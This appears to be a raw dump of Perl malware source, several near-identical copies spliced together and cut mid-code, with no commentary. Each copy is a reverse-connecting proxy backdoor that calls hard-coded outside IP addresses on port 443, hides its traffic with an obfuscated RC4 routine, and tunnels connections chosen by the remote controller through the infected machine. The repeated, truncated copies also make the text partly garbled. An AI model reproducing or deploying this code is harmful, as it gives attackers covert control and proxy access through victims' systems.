$pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.189'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.188'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.187'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, 